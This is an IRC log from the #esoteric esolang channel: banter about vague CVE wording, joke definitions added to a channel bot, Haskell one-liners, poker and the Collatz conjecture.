12:11:03 <HackEgo> A pokemon is a monster that you keep in your pocket. Taneb invented them.
12:11:52 <Vorpal> Taneb: anyway, which Paradox game is your favorite in multiplayer?
12:12:04 <int-e> Vorpal: sure, the platform is interchangable
12:12:07 <Vorpal> internal studio games only
12:12:22 <rdococ> `le//rn pokemon red//Pokemon Red is a low-level handheld programming language disguised as a game, allowing you to execute arbitrary code from anywhere.
12:12:24 <HackEgo> Learned 'pokemon red': Pokemon Red is a low-level handheld programming language disguised as a game, allowing you to execute arbitrary code from anywhere.
12:12:37 <int-e> Vorpal: I was just musing about the meaning of "arbitrary code execution"
12:13:09 <int-e> Vorpal: mainly because of the useless description of http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10229
12:13:13 <rdococ> Doesn't that make every programming language a vulnerability?
12:13:32 <int-e> (does the code execution happen in kernel space or in user space? if the former, it'll also serve as a local root exploit)
12:14:33 <int-e> Vorpal: but of course the industry at large has precisely this attitude, see "trusted computing" which is trying to replace "arbitrary" by "signed by the vendor".
12:14:57 <Vorpal> yeah the kernel commit message doesn't help much either
12:14:57 <int-e> and all these thoughts then were somehow compressed into that statement :P
12:15:48 <rdococ> . o O ( New Windows 10 secure boot! Disables malware like Linux! )
12:15:54 <Vorpal> bye for the rest of the day!
12:37:14 <\oren\> Yeah all the spiritualist empires just hate me so much
12:38:02 <\oren\> but screw them I have a better fleet than all of them combined
12:39:53 <\oren\> plus I stole the secret of true teleportation from a fallen empire
12:40:32 <\oren\> so if anyone messes with me I'll teleport to their capital and blow it the fuck up
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12:55:01 <Jafet> int-e: that description looks rather specific
12:55:16 <Jafet> have you seen the microsoft update ones? http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0001
12:55:50 <Jafet> “The Graphics Device Interface (GDI) in Microsoft Windows allows local users to gain privileges via a crafted application, aka "Windows GDI Elevation of Privilege Vulnerability." This vulnerability is different from those described in CVE-2017-0005, CVE-2017-0025, and CVE-2017-0047.”
12:57:16 <int-e> but it does specify "elevation of privilege", and gdi means kernel mode
12:59:45 <int-e> (So to my mind, the impact is clearer. Of course there's no hint about what part of the GDI interface is actually vulnerable)
13:00:44 <int-e> But since I'm not actually writing exploits I happen to not care about that.
13:01:49 <Jafet> I assume that “allows remote attackers to execute arbitrary code via UDP traffic” is contemporary manager-speak for a buffer overflow
13:02:30 <Jafet> or more specifically, a buffer overflow on the stack
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13:31:57 <rdococ> Ugh, the conlang channel is still dry.
13:32:20 <rdococ> . o O ( esoteric linguistic languages )
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14:17:04 <boily> `le/rn bee//What if bees were made of smaller bees? What if bees were made out of BIGGER bees?
14:17:06 <HackEgo> Learned 'bee': What if bees were made of smaller bees? What if bees were made out of BIGGER bees?
14:26:46 <HackEgo> sth//"sth" is short for "something that hibernates".
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14:39:29 <boily> `le/rn erkin//An erkin is a variety of cucumber: the West Indian or burr erkin (Cucumis anguria), which produces a somewhat smaller fruit than the garden cucumber (Cucumis sativus).
14:39:31 <HackEgo> Learned 'erkin': An erkin is a variety of cucumber: the West Indian or burr erkin (Cucumis anguria), which produces a somewhat smaller fruit than the garden cucumber (Cucumis sativus).
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14:43:39 <boily> `relcome ColonelPhantom
14:43:40 <HackEgo> ColonelPhantom: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
14:43:47 <\oren\> Hmm, I can't just kill these aliens outright... but I can demolish their farms and then starve them
14:51:38 <boily> he\\oren\. along with yesterday's utterance, about scientists popping the presidency and stuff like that, what the fungot are you playing?
14:51:38 <fungot> boily: ' i suppose you ate the other, the terms containing them may be called ' the christian fnord'?" said arthur.
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14:55:47 <APic> Vail's Second Axiom:
14:55:47 <APic> The amount of work to be done increases in proportion to the
14:55:47 <APic> amount of work already completed.
14:55:55 <APic> Sorry, wrong Channel
14:58:50 <Remavas> Woulfn't that mean you're never done?
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17:48:56 <HackEgo> [wiki] [[Evil]] https://esolangs.org/w/index.php?diff=51712&oldid=51375 * Xav737 * (+120) Add link to esolot
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18:21:39 <HackEgo> sparta//WE. DON'T. KNOW. ANYTHING. ABOUT. SPARTA!
18:22:11 <HackEgo> sex//Sex is a board game which originated in Britain in the 1870s before spreading throughout Europe in the 1890s. Sex was introduced to the rest of the world by a book, "The Complete Guide to Sex", written and published in 1932, based on the author's extensive experience with a wide variety of forms of European sex.
18:27:02 <boily> @tell oerjan hellørjan. the youtubal “(11)” comes from the eleven video notifications I seem to have cumulated by not watching them.
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19:43:09 <Remavas> `cat esobible/gen_sys_1.0-1:0
19:43:10 <HackEgo> First off, fungot bases eir arrays at 0, like a normal person.
19:43:46 <rdococ> "like a normal person"
19:44:05 <rdococ> a normal person is a bad comparison to use, and that's not even because they would probably start at 1
19:44:10 <Remavas> `cat esobible/gen_sys_1.0-1:1
19:44:11 <HackEgo> In the beginning fungot created #esoteric and esovanna.
19:44:32 <Remavas> `cat esobible/gen_sys_1.0-1:2
19:44:33 <HackEgo> And #esoteric was without denizens, and empty; and the order was on the face of the PDP-8. And the software of fungot moved upon the face of the scrollback.
19:44:57 <Remavas> `cat esobible/gen_sys_1.0-1:2.5
19:44:58 <rdococ> `cat esobible/gen_sys_1.0-1:3
19:44:58 <HackEgo> And fungot checked if the build environment was sane, and saw that there was no build environment in the first place, and deemed that to be close enough.
19:44:59 <HackEgo> And fungot PMed the universe, Let there be sockets, at let one be on port 6667 for the common folk and one on 6697 for those who desire some basic fucking security: and there were two sockets, and on 6667 was one for the commonfolk and on 6697 was one for those who desired some basic fucking security.
19:45:11 <rdococ> `cat esobible/gen_sys_1.0-1:3.5
19:45:12 <HackEgo> cat: esobible/gen_sys_1.0-1:3.5: No such file or directory
19:45:15 <rdococ> `cat esobible/gen_sys_1.0-1:5
19:45:16 <HackEgo> And fungot called the cloud internet, and the hard drive *nix. And the DNS and the server were upon the first day.
19:45:19 <rdococ> `cat esobible/gen_sys_1.0-1:4
19:45:19 <HackEgo> And fungot pinged the sockets, and saw that they responded before they timed out (but just barely; the internet was kind of slow before the universe was created), and e saw that it was good: and fungot divided the cloud from the hard drive.
19:45:23 <rdococ> `cat esobible/gen_sys_1.0-1:5
19:45:24 <HackEgo> And fungot called the cloud internet, and the hard drive *nix. And the DNS and the server were upon the first day.
19:45:33 <rdococ> `cat esobible/gen_sys_1.0-1:6
19:45:34 <HackEgo> cat: esobible/gen_sys_1.0-1:6: No such file or directory
19:45:37 <rdococ> `cat esobible/gen_sys_1.0-1:7
19:45:38 <HackEgo> cat: esobible/gen_sys_1.0-1:7: No such file or directory
19:45:44 <rdococ> `cat esobible/deuteronomy_1.0-1:1
19:45:45 <HackEgo> cat: esobible/deuteronomy_1.0-1:1: No such file or directory
19:46:05 <HackEgo> gen_sys_1.0-1:0 gen_sys_1.0-1:2 gen_sys_1.0-1:3 gen_sys_1.0-1:5 \ gen_sys_1.0-1:1 gen_sys_1.0-1:2.5 gen_sys_1.0-1:4
19:46:15 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
19:46:23 * rdococ likes how there was 2.5
19:47:34 <HackEgo> rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom.
19:48:44 <Remavas> How do you add definitions?
19:48:51 <rdococ> `le//rn remavas//Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars.
19:48:54 <HackEgo> Learned 'remavas': Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars.
19:49:24 <rdococ> The server you're connected to is :P
19:49:24 <HackEgo> Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars.
19:49:59 <HackEgo> Your omnipheasant principal witty arrant knave oerjan the indecisive is a hazy expert in merry compaction. Also a Glaswede who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it.
19:50:13 <HackEgo> An amortized word is a word that oerjan can never remember.
19:50:14 <Remavas> `le//rn His typing skills are so good, some say what he types rightly is actually a misstype
19:50:15 <HackEgo> Usage: `le/[/]rn <key>//<wisdom>
19:50:45 <rdococ> I think you want learn_append
19:51:16 -!- augur has joined.
19:51:18 <HackEgo> Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars.
19:52:23 <Remavas> `learn_append remavas//His typing skills are so bad, some say he writes in a different orthography, not back-compatoble with English.
19:52:24 <HackEgo> Can't open wisdom/remavas//hi: Not a directory. \ /hackenv/bin/learn_append: line 5: wisdom/remavas//hi: Not a directory \ Learned 'remavas//hi': cat: wisdom/remavas//hi: Not a directory
19:52:40 <rdococ> for learn_append you have to omit the //
19:52:47 <rdococ> just replace it with a space
19:53:20 <Remavas> `learn_append remavas His typing skills are so bad, some say he writes in a different orthography, not back-compatible with English.
19:53:22 <HackEgo> Can't open wisdom/remava: No such file or directory. \ Learned 'remava': His typing skills are so bad, some say he writes in a different orthography, not back-compatible with English.
19:53:36 <rdococ> `le//rn_append remavas//His typing skills are so incredibly bad, some say he writes in a different orthography designed for a different language.
19:53:38 <HackEgo> Learned 'remavas': Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars. His typing skills are so incredibly bad, some say he writes in a different orthography designed for a different language.
19:56:24 <HackEgo> 42 is The Answer. Heed it.
19:58:46 <Remavas> `le//rn factorial//1*2*3*..*n = n!. TL;DR a really big number
19:58:48 <HackEgo> Learned 'factorial': 1*2*3*..*n = n!. TL;DR a really big number
19:58:57 <HackEgo> 1*2*3*..*n = n!. TL;DR a really big number
19:59:03 <rdococ> I was coming up with a witty one
19:59:15 <Remavas> you can maybe overwrite it
19:59:31 <HackEgo> Relearned 'factorial': test
19:59:57 <rdococ> `le//rn factorial//Factorials are factories that factor many integers together to rdocscover more long ints. The answer to life, the universe, and everything is frequently purported to be 42, but it is actually 42 factorial (42!).
19:59:59 <HackEgo> Relearned 'factorial': Factorials are factories that factor many integers together to rdocscover more long ints. The answer to life, the universe, and everything is frequently purported to be 42, but it is actually 42 factorial (42!).
20:00:35 <lambdabot> 1405006117752879898543142606244511569936384000000000
20:01:24 <Remavas> `le//rn_append factorial// Some even say 42! is the answer to the multiverse, whilst 42 is just the answer to one
20:01:26 <HackEgo> Learned 'factorial': Factorials are factories that factor many integers together to rdocscover more long ints. The answer to life, the universe, and everything is frequently purported to be 42, but it is actually 42 factorial (42!). Some even say 42! is the answer to the multiverse, whilst 42 is just the answer to one
20:01:51 <rdococ> brevity is the soul of wit.
20:02:30 <rdococ> `le//rn shortness//syn. "brevity"
20:02:32 <HackEgo> Learned 'shortness': syn. "brevity"
20:03:27 <rdococ> why not square definition?
20:03:47 <Remavas> > product [y | x <- [1..9], y=(x**x)]
20:03:49 <lambdabot> Perhaps you need a 'let' in a 'do' block?
20:04:38 <Remavas> > product [x**x | x <- [1..9]]
20:05:12 <Remavas> > product [x**x | x <- [1..100]]
20:05:34 <lambdabot> 30414093201713378043612608166064768844377641568960512000000000000
20:05:39 <lambdabot> 2480914081139539809194647711659403366092624388657012283779589451265584267757...
20:05:59 <lambdabot> <hint>:1:14: error: parse error on input ‘..’
20:08:54 <Remavas> > [x**2 | x <- [1..], x**3 `mod` 3 == 0] !! 42
20:08:56 <lambdabot> • Ambiguous type variable ‘a0’ arising from a use of ‘show_M733674397767...
20:08:56 <lambdabot> prevents the constraint ‘(Show a0)’ from being solved.
20:09:30 <lambdabot> (Num a, Integral b) => a -> b -> a
20:09:50 <int-e> :t (^^) -- for completeness
20:09:52 <lambdabot> (Integral b, Fractional a) => a -> b -> a
20:10:47 <int-e> of course, testing x^3 `mod` 3 == 0 is a bit silly
20:11:42 <rdococ> `le//rn overflow//Overflow is a phenomenon that occurs when too much water pours into the inner mechanics of a hydrocomputer.
20:11:44 <HackEgo> Learned 'overflow': Overflow is a phenomenon that occurs when too much water pours into the inner mechanics of a hydrocomputer.
20:11:59 <HackEgo> buffer overflow? ¯\(°_o)/¯
20:12:31 <HackEgo> Water is a squishy substance that creeps along the floor and can suddenly fall from the heavens.
20:13:07 <HackEgo> The Enrichment Center is required to remind you that you will be baked, and then there will be cake.
20:13:12 <rdococ> `le//rn milk//Milk is a squishy substance that creeps along the floor and can be extracted from cows.
20:13:14 <int-e> Remavas: because it's the same as testing whether x is divisible by 3
20:13:14 <HackEgo> Learned 'milk': Milk is a squishy substance that creeps along the floor and can be extracted from cows.
20:13:50 <rdococ> `le//rn hydrocomputer//Hydrocomputing is the field of computer programming which studies the computational power of water.
20:13:52 <HackEgo> Learned 'hydrocomputer': Hydrocomputing is the field of computer programming which studies the computational power of water.
20:14:00 <HackEgo> Turing is what you are doing when you Tur
20:14:05 <HackEgo> turing complete? ¯\(°_o)/¯
20:14:08 <HackEgo> Tc is the abbreviation for Technetium, an element so sophisticated that it does not exist naturally.
20:14:15 <HackEgo> turing-complete? ¯\(°_o)/¯
20:14:35 <rdococ> `le//rn turing complete//You complete a Turing when you Tur by a specified amount.
20:14:37 <HackEgo> Learned 'turing complete': You complete a Turing when you Tur by a specified amount.
20:14:50 <HackEgo> An FSM is a state machine with noodly appendages.
20:15:17 <rdococ> `le//rn binary tree//A binary tree is an economical design for a computer built into a tree.
20:15:19 <HackEgo> Learned 'binary tree': A binary tree is an economical design for a computer built into a tree.
20:16:46 <HackEgo> A cow is an animal best served at minus zero degrees Celsius.
20:18:12 <rdococ> `le//rn pointer//A pointer is someone who points, usually towards someone or something else.
20:18:14 <HackEgo> Learned 'pointer': A pointer is someone who points, usually towards someone or something else.
20:18:34 <Remavas> `le//rn null pointer//It is a chronic disease, which mostly plagues Java
20:18:36 <HackEgo> Learned 'null pointer': It is a chronic disease, which mostly plagues Java
20:18:54 <rdococ> `le//rn null pointer//A null pointer is a chronic disease which mostly plagues Java.
20:18:57 <HackEgo> Relearned 'null pointer': A null pointer is a chronic disease which mostly plagues Java.
20:19:10 <HackEgo> Java is a programming-language shaped collection of misfeatures.
20:19:16 <HackEgo> C is the language of��V�>WIד�.��Segmentation fault
20:19:21 <HackEgo> Along with C, C++ is a language for smart people.
20:19:23 <HackEgo> C Pound is Java's good twin.
20:19:42 <HackEgo> o is a popular comedy adventure fantasy webcomic. It's about a group of adventurers, heroes or warriors (whatever you want to call them) called the Order of the Stick, as they go about their adventures with minimal competence or knowledge of what they are doing, and eventually sort of stumble into a plan by an undead sorcerer to conquer the world,
20:20:04 <shachaf> Stop it. Nondestructive bot spam in /msg
20:20:30 <Remavas> `le//rn void//Nothing to see here
20:20:32 <HackEgo> Learned 'void': Nothing to see here
20:23:35 <rdococ> Remavas! You ticked off the shacaf!
20:23:44 <HackEgo> Queen Shachaf of the Dawn sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. He doesn't know when to stop asking questions.
21:28:12 <HackEgo> [wiki] [[Special:Log/newusers]] create * Osmarks * New user account
21:29:10 <HackEgo> https://hackego.esolangs.org/fshg/
21:30:46 <shachaf> Just stop editing HackEgo. All your edits are making it worse.
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21:45:24 <zzo38> If making poker game on computer you could have, - to fold, 0 to call, and you can type in other numbers to raise; you can then push enter afterward. (In a fixed-limit game, you could do it differently so you don't have to push enter afterward, since you cannot choose the amount of raise in that case.) Some kinds (such as draw poker and Pandante and One Poker) will involve other choices too, other than only betting.
21:47:33 <zzo38> I have read somewhere two people they played chess match of several games, and then after chess match is finish, to play poker with the points they have won in chess (using betting units much smaller than one point of chess).
21:54:11 <HackEgo> [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51713&oldid=51676 * Osmarks * (+196)
21:54:38 <HackEgo> [wiki] [[Turi]] N https://esolangs.org/w/index.php?oldid=51714 * Osmarks * (+1135) Created page with "Turi is a simple, useless programming language with one-letter commands. The accumulator is initialized with 0 and the string accumulator with the empty string. {| class="wik..."
21:56:06 <HackEgo> [wiki] [[Turi]] https://esolangs.org/w/index.php?diff=51715&oldid=51714 * Osmarks * (+17) Hopefully fix disappeared pipe character.
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21:59:13 <HackEgo> [wiki] [[Turi]] M https://esolangs.org/w/index.php?diff=51716&oldid=51715 * Osmarks * (+1) Fix pipe problem more.
22:00:59 <HackEgo> hthmonoid//hthmonoids hthmonoids hthmonoids hthmonoids hthmonoids hthmonoids ...
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22:01:06 <HackEgo> queuestack//Queuestack is when you're confused about whether something should be a queue or a stack, and end up with a complete mess. See https://xkcd.com/954/ .
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22:02:01 <HackEgo> [wiki] [[Turi]] https://esolangs.org/w/index.php?diff=51717&oldid=51716 * Osmarks * (+219)
22:03:05 <HackEgo> [wiki] [[Turi]] https://esolangs.org/w/index.php?diff=51718&oldid=51717 * Osmarks * (+13)
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23:07:47 <zzo38> They said that "No human player will ever beat Cepheus at heads-up limit holdem." But, I did (only by a few points though; it was nearly even; it isn't an ordinary poker format though, but an unusual kind of format I haven't seen elsewhere), even though I am not so good at poker.
23:08:18 <int-e> is it statistically significant...
23:09:53 <zzo38> Probably not, but I didn't lose at least; it is nearly a tie. (Of course tying isn't winning, but I did win by one point.)
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23:15:14 <int-e> anyway, I suspect that by "winning" they meant having a long term edge, i.e., actual positive expected value per game.
23:16:56 <zzo38> Yes, probably I guess so.
23:17:35 <Zarutian> so that thing is more of an eker than an winner.
23:18:31 <zzo38> Of course it depends on the format. In an ordinary tournament format (if it is a freeze-out tournament; I don't like the idea of rebuys normally), it is deathmatch so if there are only two players, then at the end you either win (you have all of the chips) or you lose (your opponent has all of the chips).
23:30:06 <zzo38> An article on there mentioned the rake taken by the casino, but that only applies to ring games and only when played at a casino.
23:32:42 <zzo38> (Poker, whether tournament or ring game, are probably usually played at a casino anyways, but, it doesn't always.)
23:34:58 <zzo38> (By "ring game" I mean one where something (usually money) that is of value outside of the game is what you bet directly on each hand, rather than using points internal to the game which are not related to the value outside of the game (although buy-ins and prizes are still possible).)
23:44:24 <HackEgo> e-module//E-modules are modules over a web ring. Uaneb invented them.
23:44:46 <HackEgo> cube//Cubes come in all sizes, colors, and materials, but only one shape. The companion cube does not speak, however.
23:44:53 <HackEgo> pk//PK is short for Phil Katz, an infamous player killer of the 1990s whose favorite method of attack was to deflate his enemies.
23:46:38 <HackEgo> [wiki] [[User talk:Xav737]] N https://esolangs.org/w/index.php?oldid=51719 * Xav737 * (+79) Start talk page
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00:12:03 <HackEgo> [wiki] [[Enema]] M https://esolangs.org/w/index.php?diff=51720&oldid=34549 * Xav737 * (+17)
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01:04:22 <\oren\> TIL the japanese counter 匹 can be used for cerberuses if they're cute enough
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01:36:06 <lambdabot> boily said 7h 9m 4s ago: hellørjan. the youtubal “(11)” comes from the eleven video notifications I seem to have cumulated by not watching them.
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01:58:54 <oerjan> <rdococ> Maybe it'd be better if I wasn't here. <-- you appear to be in an evil circle of posturing, complaining and self-deprecation, which paradoxically are the main annoyances from you on the channel.
02:05:50 <oerjan> otherwise, i've read that creativity only works properly when you're doing it for your own interest, and not to get confirmation from others. _most_ esolangs don't get much response here, anyway.
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02:11:34 <HackEgo> Caine is a drug administered to the target to reverse the effects of other drugs.
02:13:53 <HackEgo> https://hackego.esolangs.org/fshg/
02:14:08 <oerjan> `learn Caine is a target administered to the drug to reverse the effects of other drugs.
02:14:10 <HackEgo> Relearned 'caine': Caine is a target administered to the drug to reverse the effects of other drugs.
02:14:28 <oerjan> still not good, but at least slightly less misrepresenting co-
02:14:52 <shachaf> Oh, I thought it was about iocaine powder.
02:15:30 <shachaf> Just look at those last few days of edits.
02:15:57 <oerjan> could do a b_jonas and insert a Vampire: The Masquerade reference instead.
02:16:26 <oerjan> except i've never actually played it.
02:17:13 <shachaf> could revert a few daysworth of edits in one command
02:18:10 <oerjan> especially after my tirade above.
02:18:46 <HackEgo> natural transformation//A natural transformation is a transformation of something containing no chemicals.
02:18:57 <HackEgo> 1/2:plan9//Plan9 is the precursor to Dante's Inferno, home of the Limbo programming language. \ poutine//Poutine was Pouti and boily's sister until the tragic cheese accident. \ war//A lot more young people have gone off to fight in this war than I would have, at that age. \ jwinslow23//JWinslow23 is not here. \ disflagrate//disflagrate v
02:19:07 <HackEgo> 2/2:.t.perf.: a traditional technique from Poland (earliest attestation c. 1042) used to separate szoups. Nowadays, commercial production is entirely mechanized.
02:19:28 <shachaf> i,i what's quote 1042 doing in the wisdom database?
02:19:43 <oerjan> `# Indeed not//`forget jwinslow23
02:20:09 <HackEgo> 1042) <shachaf> kmc: you gotta tell me if you're an op
02:20:29 <oerjan> i think kmc deopped himself.
02:21:16 <HackEgo> 1/3:watch//Too late! \ clever//Being clever is different from being wise, but they are indistinguishable in sufficiently large quantities. \ works for me//Error: unable to read wisdom database. try again later. \ orodruin//The Orodruin is a mountain heated by earth spirits. Sauron moved to Mordor because boiling water for his morning tea
02:21:20 <HackEgo> 2/3:with the fires of the Orodruin was so convenient. \ sock//Socks are alien larvas planning to take over Earth. They started to teleport into Earthly washing machines through miniature wormholes. The invasion is currently halted, because after 4 billion larvas, they ran out of address space. They are also a protocol for proxying TCP con
02:22:01 <shachaf> seems contrary to my experience hth
02:22:35 <oerjan> i recall a relevant short story.
02:23:36 <oerjan> shachaf: nah you just notice half of a pair is missing... but are you sure there _was_ a pair...
02:24:23 <oerjan> hm i think there was a youtube performance of it
02:24:27 <shachaf> oerjan: For a while I only had one kind of sock.
02:24:44 <shachaf> All my socks were of that type so I could pair any of them together. It was great.
02:24:49 <shachaf> Now I only have one sock of that type left.
02:25:20 <shachaf> Now I only wear my emergency socks, which I got from Google Summer of Code.
02:25:26 <oerjan> i have noticed that occasionally socks start getting swallowed by holes hth
02:25:46 * oerjan Gswats shachaf -----###
02:26:13 <shachaf> oerjan: You should gswat the GSoC organizers instead.
02:26:34 <oerjan> ANY GSoC ORGANIZERS HERE?
02:26:52 <HackEgo> remava//His typing skills are so bad, some say he writes in a different orthography, not back-compatible with English.
02:27:02 <HackEgo> ¯\_(ツ)_/¯//¯\_(ツ)_/¯ is the ¯\(°_o)/¯ of urbandictionary
02:27:09 <HackEgo> tanstaaha//tanstaaha, so please stop using them. That would help.
02:27:15 <HackEgo> 10668:2017-04-15 <Remaväs> learn_append remavas His typing skills are so bad, some say he writes in a different orthography, not back-compatible with English.
02:27:45 <HackEgo> firefly//FireFly was a short-running but well-loved sci-fi TV series released in 2003, starring Nathan Fillion and directed and written by Joss Whedon.
02:27:47 <HackEgo> Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars. His typing skills are so incredibly bad, some say he writes in a different orthography designed for a different language.
02:28:38 <HackEgo> ehlist//ehlist is update notification for the Everyday Heroes webcomic. http://eheroes.smackjeeves.com/
02:28:44 <HackEgo> ham//Ham is a kind of meat. It is popular in Hexham, among other places.
02:30:38 <HackEgo> f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf --random-source=/dev/urandom -z -n1); if [ -n "$f" ]; then echo -n "${f#wisdom/}//"; cat "$f"; else echo "That's not wise."; fi | rnooodl
02:31:14 <HackEgo> lrwxrwxrwx 1 5000 0 6 Oct 28 18:37 bin/widsom -> wisdom
02:32:23 <fizzie> Haven't even gotten any free socks.
02:33:42 <HackEgo> 8635:2016-06-28 <izaber̈a> ` ln -s wisdom bin/widsom
02:34:59 <shachaf> Hmm, is fizzie the only Google employee here?
02:36:03 <oerjan> `` rm bin/widsom;; mkx 'bin/widsom//wisdom "$@" | sed '"'"'s/\<\([^ ][^ ]\)\([^ ]\)\([^ ]\)/\1\3\2/g'"'"
02:36:04 <HackEgo> /hackenv/bin/`: eval: line 4: syntax error near unexpected token `;;' \ /hackenv/bin/`: eval: line 4: `rm bin/widsom;; mkx 'bin/widsom//wisdom "$@" | sed '"'"'s/\<\([^ ][^ ]\)\([^ ]\)\([^ ]\)/\1\3\2/g'"'"'
02:36:54 <oerjan> `mkx bin/widsom//wisdom "$@" | sed 's/\<\([^ ][^ ]\)\([^ ]\)\([^ ]\)/\1\3\2/g'
02:37:00 <HackEgo> biycclic moonid//The biycclic moonid is the free moonid geenrated by two wheels of a biyccle, qutoiented by the retsriction thta the biyccle iteslf is eqaul to the idnetity.
02:40:08 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: biycclic: not found
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02:40:13 <HackEgo> biycclic moonid? ¯\(°_o)/¯
02:41:15 <HackEgo> The bicyclic monoid is the free monoid generated by two wheels of a bicycle, quotiented by the restriction that the bicycle itself is equal to the identity.
02:41:41 <HackEgo> \//\ was intiially pouplar as a relpacement for the soildus, but inveitably three was a bakcslash.
02:42:00 <HackEgo> dwof//DWOF is the Dotcor Who Fan Orhcestra, <htpt://thdewfo.or>g.
02:42:16 <HackEgo> prceious//prceious? Thta dosen't rign a bell. ¯\(°_o/)¯
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03:04:55 <HackEgo> wisdom/cocoa \ wisdom/cocoon \ wisdom/cocoonspirator \ wisdom/cod \ wisdom/code \ wisdom/codensity \ wisdom/codependency \ wisdom/codo \ wisdom/codoctor \ wisdom/coffee \ wisdom/cofridge \ wisdom/color \ wisdom/colour \ wisdom/comedogenic \ wisdom/comics \ wisdom/comonad \ wisdom/companion cube \ wisdom/compiler \ wisdom/complete heyting algebra \
03:05:34 <HackEgo> Cofridges are ovens or stoves that are disrespectful towards entropy. They are useful for postparing ffee and oking cofood.
03:06:17 <oerjan> `le/rn cofridge logic//Cofridge logic is the new HoTT stuff.
03:06:19 <HackEgo> Learned 'cofridge logic': Cofridge logic is the new HoTT stuff.
03:10:19 <rdococ> `le//rn mpiler//An mpiler takes an executable file and nverts it to readable form.
03:10:22 <HackEgo> Learned 'mpiler': An mpiler takes an executable file and nverts it to readable form.
03:13:50 <rdococ> `le//rn nvert//To nvert something is to revert it back to its previous form, while recording the reversion as a conversion in itself.
03:13:52 <HackEgo> Learned 'nvert': To nvert something is to revert it back to its previous form, while recording the reversion as a conversion in itself.
03:14:23 <HackEgo> There's cake inside it. Tear it apart, rip open your companion, and extract the delicious, delicious cake...
03:14:54 <rdococ> `le//rn mpanion cube//Aperture Science has created a talking cube - we call it the mpanion cube, because it's the opposite of the mute companion cube.
03:14:56 <HackEgo> Learned 'mpanion cube': Aperture Science has created a talking cube - we call it the mpanion cube, because it's the opposite of the mute companion cube.
03:15:11 <HackEgo> [11,11,11,15,15,23,12],[5,5,5,3,53,45,16,26,00,20,15,16,22,25,45,91,32,11,15,27,06,01,11,01,47,22,30,13,43,21,11,13,29,61,65,17,19,12,28,17,11,01,23,20,16,20,81,18,32,25,58,22.,1985,10.301350435,1555466973690094680980000956080767,13720946704494913791885940266665466978579582015128512190078...
03:15:32 <rdococ> `le//rn de//De is the counterpart to code, often called the header.
03:15:35 <HackEgo> Learned 'de': De is the counterpart to code, often called the header.
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04:11:43 <oerjan> ^ul (a)(!())(()~(:))~:(^!!())*~(*)~^**
04:11:49 <oerjan> ^ul (a)(!())(()~(:))~:(^!!())*~(*)~^**S
04:12:10 <oerjan> hm something went wrong.
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04:12:17 <oerjan> ^ul (a)()(()~(:))~:(^!!())*~(*)~^**S
04:13:20 <oerjan> ^ul (a)(!())(()~(:))~:(^!!())*~(*)~^**^S
04:13:26 <oerjan> ^ul (a)(!())(()~(:))~:(^!!())*~(*)~^**^aS
04:13:32 <oerjan> ^ul (a)()(()~(:))~:(^!!())*~(*)~^**^aS
04:13:36 <oerjan> ^ul (a)(:*)(()~(:))~:(^!!())*~(*)~^**^aS
04:13:43 <oerjan> ^ul (a)(::**)(()~(:))~:(^!!())*~(*)~^**^aS
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04:31:02 <oerjan> <rdococ> for learn_append you have to omit the // <-- there's `le/rn_append which works more like `le/rn.
04:32:23 <oerjan> oh you did use that later
04:33:40 <oerjan> `` forget whatever; forget 42
04:33:43 <HackEgo> Forget what? \ Forget what?
04:33:55 <oerjan> `` forget whatever; forget answer
04:33:57 <HackEgo> Forget what? \ Forget what?
04:34:01 <HackEgo> 42 is The Answer. Heed it.
04:35:58 <HackEgo> Factorials are factories that factor many integers together to rdocscover more long ints. The answer to life, the universe, and everything is frequently purported to be 42, but it is actually 42 factorial (42!).
04:36:32 * oerjan shouldn't do wisdom judgements when hungry
04:36:57 <oerjan> so i'll leave that to my apprentice.
04:38:01 <shachaf> darth oerjan can find a new apprentice
04:39:09 <HackEgo> gostak//The gostak distims the doshes.
04:42:16 <HackEgo> 1/2:homophone//Homophones are pairs of words that sound totally gay together. \ pineapple//Pineapple is a hybrid species descended from a cultivar of spinach and wild ivy, making it a class 6 vegetable. \ c//C is the language of��V�>WIד�.��Segmentation fault \ skeleton//A skeleton is an unintelligent undead, similar to the zo
04:42:20 <HackEgo> 2/2:mbie but harder to create, because it's lacking most of the body. The best skeletons are made by groups of people, so-called skeleton crews. \ chuchichäschtli//chuchichäschtli is spoken as [ˈχʊχːiˌχæʃːtli]
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05:02:59 <tswet_t> So here's the real question.
05:03:25 <tswet_t> Consider the function f(n) = the nth positive integer which is not a counterexample to the Collatz conjecture.
05:03:47 <tswet_t> Of course, the Collatz conjecture itself is equivalent to the statement that for all n, f(n) = n.
05:04:18 <tswet_t> Do we even know that f grows at most polynomially?
05:05:29 <tswet_t> It definitely grows at most exponentially, because all powers of 2 are non-counterexamples.
05:05:44 <oerjan> twice a counterexample is a counterexample.
05:06:45 <tswet_t> Maybe all non-counterexamples can be written in the form a*2^b, where a is one of some given set of constants.
05:07:02 <tswet_t> Nah, that doesn't sound very possible.
05:09:45 <tswet_t> > iterate (\x -> if x `mod` 6 == 4 then (x - 1) `div` 3 else 2 * x) 1
